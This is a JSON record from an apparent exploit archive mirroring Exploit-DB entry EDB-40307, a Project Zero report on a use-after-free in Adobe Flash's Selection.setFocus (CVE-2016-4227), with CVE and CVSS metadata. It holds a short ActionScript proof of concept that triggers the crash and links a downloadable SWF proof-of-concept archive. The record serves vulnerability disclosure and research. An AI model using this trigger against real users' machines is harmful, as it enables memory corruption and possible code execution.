{"exploit":{"id":"EDB-40307","name":"Adobe Flash - Selection.setFocus Use-After-Free (UAF)","description":"Adobe Flash - Selection.setFocus Use-After-Free (UAF)","cves":["CVE-2016-4227"],"author":"Google Security Research","published":"2016-08-29","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40307","path":"exploits/multiple/dos/40307.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40307.txt","vulnerabilities":[{"id":"CVE-2016-4227","state":"PUBLISHED","title":null,"titleSource":null,"description":"Use-after-free vulnerability in Adobe Flash Player before 18.0.0.366 and 19.x through 22.x before 22.0.0.209 on Windows and OS X and before 11.2.202.632 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2016-4173, CVE-2016-4174, CVE-2016-4222, CVE-2016-4226, CVE-2016-4228, CVE-2016-4229, CVE-2016-4230, CVE-2016-4231, and CVE-2016-4248.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-4227","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-4227"},"updatedAt":"2024-08-06T00:25:13.755Z","retrievedAt":"2026-11-26T20:09:59.711Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40307.png?v=2","url":"https://exploitbin.com/exploits/EDB-40307","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40307/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40307/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=841\n\nThere is a user-after-free in Selection.setFocus. It is a static method, but if it is called with a this object, it will be called on that object's thread. Then, if it calls into script, for example, by calling toString on the string parameter, the object, and its thread will be deleted, and a use-after-free occurs.\n\nA minimal PoC follows:\n\nvar mc = this.createEmptyMovieClip( \"mc\", 1);\nvar f = Selection.setFocus;\nmc.f = f;\nmc.f({toString : func});\n\nfunction func(){\n\n\tmc.removeMovieClip();\n\n        // Fix heap here\n\n\t}\n\nA sample SWF and fla are attached. This PoC crashes in Chrome on 64-bit Linux\n\n\nProof of Concept:\nhttps://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40307.zip","sha256":"5d0051cc7e2cccf9d1f96cfb3c6a73811fc1f143a79268dc2d4f40f73784300a","bytes":784,"fetchedAt":"2026-11-26T20:09:55.990Z","encoding":"utf-8 (display only; download retains original bytes)"}